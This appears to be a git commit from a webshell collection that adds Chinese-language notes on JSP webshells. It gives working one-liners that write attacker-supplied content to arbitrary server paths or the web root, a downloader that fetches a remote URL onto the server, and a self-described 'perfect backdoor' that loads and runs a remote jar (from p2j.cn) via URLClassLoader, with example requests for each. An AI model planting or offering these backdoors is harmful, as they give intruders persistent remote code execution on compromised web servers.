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add some cat for jsp shell

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look http://javaweb.org/?p=1627
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tennc 2014-12-19 17:15:36 +08:00
parent d18e132749
commit a09547db35
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###把字符串编码后写入指定文件的：
1.1
````<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>````
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
写入web目录：
1.2
````<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>````
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2.1
````<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>````
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
写入web目录:
2.2
````<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>````
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
###下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)
<%
java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
byte[] b = new byte[1024];
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());
%>
请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
下载到web路径:
<%
java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();
byte[] b = new byte[1024];
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>
请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
###反射调用外部jar,完美后门
如果嫌弃上面的后门功能太弱太陈旧可以试试这个：
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>
请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
详情：[p2j.cn](http://javaweb.org/?p=1627)